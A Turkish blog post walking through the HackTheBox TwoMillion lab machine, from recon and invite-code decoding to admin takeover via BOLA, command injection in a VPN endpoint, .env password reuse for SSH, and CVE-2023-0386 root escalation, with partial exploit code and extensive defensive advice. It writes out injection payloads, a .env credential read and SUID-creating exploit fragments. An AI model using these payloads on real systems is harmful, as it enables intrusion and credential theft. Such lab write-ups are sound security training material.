TwoMillion: Davet Kodundan Root'a

HackTheBox TwoMillion makinesinin nmap'ten root'a giden tam çözüm zinciri: obfuscated JS'ten davet kodu, BOLA ile admin, command injection, .env şifre tekrarı ve CVE-2023-0386.

8 dk okuma
ibrahimsql
1.531 kelime

TwoMillion: Davet Kodundan Root'a#

HackTheBox'ın kendi platformunun eski sürümünü simüle eden bir makine. Görünür yüzeyi minimal: port 22 ve 80. Asıl iş ise sayfanın altında uyuyan obfuscated bir JS dosyasında başlıyor. Davet kodu bulmacasını çözüyorsun, hesap açıyorsun, sonra API'nin yetki kontrolünü unutmuş bir endpoint'ine denk geliyorsun. Birkaç dakika sonra www-data, biraz sonra .env'den çıkan parolayla admin, sonunda da kernel 5.15.70'in OverlayFS + FUSE bug'ı CVE-2023-0386 ile root.

Keşif: Sadece İki Kapı Açık#

Her pentest'in başlangıcı için sevdiğim ritüel aynı: ne olduğunu hiç bilmediğim bir IP'ye nmap atıp ekrana akan portları izlemek.

$ nmap -sC -sV -oN nmap_initial.txt 10.129.1.230
Nmap scan report for 10.129.1.230
Host is up (0.17s latency).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/

Sadece iki port açık. Yani saldırı vektörü ya web'den olacak ya SSH üzerinden. nginx http://2million.htb/ adresine yönlendiriyor, hosts dosyasına ekledim.

/invite Bulmacası: JS Tersine Mühendislik#

Page source'ta /js/inviteapi.min.js çağrılıyor. Bu klasik eval(function(p,a,c,k,e,d){...}) packer'ı. Tarayıcı console'ında eval'i console.log ile değiştirip çıkarttım. Karşıma iki fonksiyon çıktı:

function makeInviteCode() { $.ajax({ type: "POST", url: "/api/v1/invite/how/to/generate", ... }); } function verifyInviteCode(code) { $.ajax({ type: "POST", url: "/api/v1/invite/verify", ... }); }

İlk fonksiyonun endpoint'i bana "davet kodunu nasıl üretirsin" bilgisini veriyor:

$ curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate
{"data": {"data": "Va beqre gb trarengr gur vaivgr pbqr, ...", "enctype": "ROT13"}}

$ echo "..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
In order to generate the invite code, make a POST request to /api/v1/invite/generate

$ curl -s -X POST http://2million.htb/api/v1/invite/generate
{"data": {"code": "OEFESjUtTkZYOVItTFM0WjAtRUROSFc=", "format": "encoded"}}

$ echo "OEFESjUtTkZYOVItTFM0WjAtRUROSFc=" | base64 -d
8ADJ5-NFX9R-LS4Z0-EDNHW

// not: Obfuscated JS bir güvenlik katmanı değil, sadece hız tümseği. Security through obscurity her zaman erken kaybeder.

Hesap Açma ve Login#

$ curl -i -s -X POST http://2million.htb/api/v1/user/register \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "code=VWBHG-8ZETW-FNGQA-31X7F&username=hacker&email=hacker%40htb.local&password=Hacker123!&password_confirmation=Hacker123!"

$ curl -i -s -c cookies.txt -X POST http://2million.htb/api/v1/user/login \
    -H "Content-Type: application/json" \
    -d '{"email":"hacker@htb.local","password":"Hacker123!"}'
Set-Cookie: PHPSESSID=...; path=/; HttpOnly

API Keşfi ve BOLA: Adminliği Kibarca İstedim#

/api/v1 route listesini döndürüyor. Admin tarafında PUT /api/v1/admin/settings/update dikkat çekiyor. Deneyeyim:

$ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
    -H "Content-Type: application/json" -b cookies.txt \
    -d '{"is_admin":1,"email":"hacker@htb.local"}'
{"id": 13, "username": "hacker", "is_admin": 1}

// zafiyet: Broken Object Level Authorization (BOLA). OWASP API Top 10 A01. Düz auth check'i yapılmış, object-level check (hassas alanı mı güncelliyor) yapılmamış. Admin oldum.

VPN Üretici, Saf Komut Çalıştırıyor#

POST /api/v1/admin/vpn/generate username parametresi shell'e direkt geçiyor:

$ curl -s -X POST .../api/v1/admin/vpn/generate -b cookies.txt \
    -d '{"username":"hacker;id;"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Web root /var/www/html, kernel 5.15.70 not edildi.

.env Hatası, SSH ve user.txt#

$ curl -s ... -d '{"username":"hacker;cat /var/www/html/.env;"}'
DB_PASSWORD=SuperDuperPass123
MAIL_TO=ch4p@2million.htb

$ sshpass -p 'SuperDuperPass123' ssh admin@10.129.1.230 'id'
uid=1000(admin) gid=1000(admin) groups=1000(admin)

Password reuse her zaman umut verici. user.txt elimde.

Postacının İpucu: Mail'de Yatan CVE#

/var/mail/admin içindeki mesajda OverlayFS/FUSE işaret ediliyor: CVE-2023-0386. Kernel 5.15.70, Eylül 2022 → patch'ten önce, vulnerable.

CVE-2023-0386 Acaba Nasıl Bir Zafiyetmiş?#

FUSE kullanıcı seviyesinde dosya sistemi uydurmana izin verir; metadata'yı sen söylersin. OverlayFS iki dizini üst üste bindirir; lowerdir'deki dosyayı değiştirirken copy_up yapar. Birisi FUSE dizinini OverlayFS'in lowerdir'ü yapıp "sahibi root, SUID set" dese? Copy_up sırasında kernel bu metadata'yı sorgusuz gerçek diske yazar → SUID'li bash → root shell.

fuse.c: Sahte SUID'li Dosya#

static int evil_getattr(const char* path, struct stat* stbuf, struct fuse_file_info* fi) { memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0755; } else if (strcmp(path, "/suid") == 0) { stbuf->st_mode = S_IFREG | S_ISUID | 0755; // SUID bit stbuf->st_uid = 0; // sahibi root diyorum } return 0; }

exp.c: Namespace + OverlayFS + Copy_up#

// Yeni user + mount namespace, lowerdir = FUSE mount snprintf(opts, sizeof(opts), "lowerdir=%s,upperdir=%s,workdir=%s", FUSE_MNT, UPPER, WORK); mount("overlay", MERGE, "overlay", 0, opts); system("cp " MERGE "/suid /tmp/sh"); // /tmp/sh SUID-preserved -> euid=0 execl("/tmp/sh", "sh", "-p", "-c", "id; cat /root/root.txt", NULL);
$ ./exp
[+] SUID preserved! Launching shell...
uid=1000(admin) gid=1000(admin) euid=0(root)

Saldırı Zinciri, Tek Bakışta#

nmap → /invite obfuscated JS → ROT13 + base64 → davet kodu → kayıt+login → API keşfi → BOLA is_admin=1 → command injection → www-data → .env → SSH şifre tekrarı → admin → mail spool ipucu → CVE-2023-0386 → root.

Zafiyetler Tablosu#

#ZafiyetEtkiSınıf
1Obfuscated JS'te endpoint sızıntısıDavet kodu bypassSecurity Misconfiguration
2BOLA: PUT /admin/settings/updateKendini admin yapmaOWASP API A01
3Command Injection (username)www-data RCEInjection
4.env web root altındaCredential sızıntısıMisconfiguration
5DB şifresi == SSH şifresiUser shellAuth Failures
6CVE-2023-0386Kernel rootCVE-2023-0386

Savunma Özeti#

  • BOLA hedefinde: her endpoint'te resourceId sahibinin token'ın subject'iyle birebir eşleştiğini doğrula; object-level authorization checklist'ını CI'dan geçir (IDOR test planı).
  • Command injection hedefinde: shell komutu yerine JS/PHP'nin native API'lerini, parametreli exec'i kullan; kullanıcıdan gelen alanı hiçbir zaman shell string'ine yapıştırma. VPN üretiminde OpenVPN config'i script ile yaz, kullanıcı girdisini interpolasyona sokma.
  • .env ve secrets: web root altına asla koyma; sunucunun config'i. Şifre tekrarından kaçın, env'i sürekli olarak secret yönetimi (hashicorp Vault, AWS SSM) üzerinden çek.
  • Kernel patching: Yetkilendirilen bakım penceresinde düzenli kernel güncellemesi, özellikle CVE-2023-0386 gibi kritik kernel bugları için.

// RAPOR SONU Etiketler: HTB / BOLA / Command Injection / CVE-2023-0386 / OverlayFS / FUSE

Güven Sınırı#

ziyaretçi --> nginx --> PHP API --> admin ayarı --> VPN üretici (shell) | v .env --> SSH admin --> CVE-2023-0386 --> root

İlk sınır obfuscated JS'teki davet kodu, ikinci sınır BOLA kontrolü, üçüncü sınır command injection, dördüncü sınır .env görünürlüğü, beşinci sınır kernel patch seviyesi. Her biri tek başına makineyi koruyunca zincir kurulamaz.

Tespit#

  • BOLA: kullanıcı kendine is_admin=1 verebiliyorsa yetkilendirme testi CI'da yok demektir.
  • Command injection: VPN üretiminde shell string'ine kullanıcı girdisi girmek, input loglarında ; ve && ile çıkar.
  • .env web root altında: statik dosya taraması veya public repo taraması bulur.
  • Kernel 5.15.70 ve CVE-2023-0386: uname -r çıktısı bilinen CVE listesiyle eşleştirilir.

Sınırlılıklar#

  • Obfuscated JS güvenlik katmanı değildir; ROT13 ve base64 her zaman tersinir.
  • BOLA tek endpoint'te değil, tüm obje endpoint'lerinde test edilmelidir.
  • CVE-2023-0386 mount namespace gerektirir; konteyner içi veya non-privileged user'da farklı izler.
  • .env dosyası taşınan her makine, şifre tekrarı riskiyle değerlendirilmelidir.

Cikarilar#

  • Obfuscation güvenlik değildir.
  • Admin alanında obje seviyesinde yetki kontrolü şart.
  • Kullanıcı girdisi shell'e girmemeli.
  • .env web root dışında tutulmalı.
  • Kernel güncellemesi ertelenmemeli.

Davet Kodu Hattı#

curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate echo "..." | tr 'A-Za-z' 'N-ZA-Mn-za-m' curl -s -X POST http://2million.htb/api/v1/invite/generate echo "..." | base64 -d

Obfuscated JS'teki eval(function(p,a,c,k,e,d){...}) packer'ı console'da eval yerine console.log ile çözülür. Defansif tarafta aynı dosyaya bakıldığında endpoint listesi ortaya çıkar; gömülü gizlilik iddiası çöker.

BOLA Mekanizması#

PUT /api/v1/admin/settings/update isteğinde is_admin alanı kullanıcıdan kabul ediliyordu. Doğru yaklaşım, kullanıcının kendi alanını güncellemesinde bile is_admin gibi hassas alanları whitelist dışında tutmak:

$allowed = ['email', 'name']; $update = array_intersect_key($input, array_flip($allowed));

CI tarafında her obje endpoint'i için "başkasının ID'siyle istek" testi çalıştırılmalı.

Command Injection#

username parametresi doğrudan shell'e geçiyordu. Doğru yaklaşım, VPN config'ini native API veya template ile üretmek, kullanıcı girdisini kaçışsız interpolasyona sokmamaktır:

execFile('openvpn', ['--genconfig', '--client-config-dir', dir], { cwd }, cb)

exec yerine execFile ve parametreli argüman, injection sınıfını kökten kapatır.

.env ve Şifre Tekrarı#

/var/www/html/.env web root altındaysa tek GET ile indirilebilir. Savunma: .env dosyasını document root dışına taşı, web sunucusunda .env erişimini reddet, DB parolasını SSH ile aynı tutma.

CVE-2023-0386 Özeti#

FUSE dizini OverlayFS lowerdir olarak verilince copy_up sırasında kernel, FUSE'un uydurduğu metadata'yı gerçek diske yazdı. SUID root programı böylece kontrollü şekilde üretilebildi. Kernel güncellemesi dışında hafifletme, kullanıcı namespace'ine mount yetkisini kısmaktır.

Doğrulama Komutları#

curl -s -X PUT .../admin/settings/update -d '{"is_admin":1}' # artık 403 dönmeli curl -s -X POST .../vpn/generate -d '{"username":"x;id;"}' # id çıktısı olmamalı curl -s http://2million.htb/.env # 404 olmalı uname -r # patchli sürüm olmalı

Dördü de temizse makine, aynı zinciri tekrar üretmez.

Zincirin Ağacı#

nmap (22, 80) | v /invite --> inviteapi.min.js --> ROT13 --> base64 --> davet kodu | v register/login --> /api/v1 --> BOLA is_admin=1 | v vpn/generate --> command injection --> www-data | v .env --> admin SSH --> mail spool --> CVE-2023-0386 --> root

Her dal, ayrı bir savunma noktasıdır. BOLA testini CI'a eklemek, VPN üretimini execFile'e çevirmek, .env'yi root dışına taşımak ve kernel'i güncellemek, ağacın hiçbir dalını bırakmadan kapatır.

API Keşfi Notu#

/api/v1 route listesi tek başına bilgi sızıntısı değil; sorun, route'ların yetki modeliyle eşleşmemesiydi. Route listesi expose edilse bile her endpoint obje seviyesinde kontrol taşıyorsa saldırı yüzeyi azalır. Defansif tasarım, gizli route yerine test edilmiş yetki kontrolünü tercih eder.

Kernel Sürüm Kontrolü#

uname -r cat /etc/os-release

Çıktı bilinen CVE listesiyle eşleştirilir. 5.15.70, CVE-2023-0386 için yamadan önceydi. Düzenli kernel güncellemesi penceresi, bu tür lab makinelerinde bile şarttır.

Makine, altı ayrı savunma disiplini tek tek uygulanınca kapanır.

Her dal, bir CI testiyle veya bir konfigürasyon satırıyla koparılabilir.

Zincir bitti; notlar açık.

---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar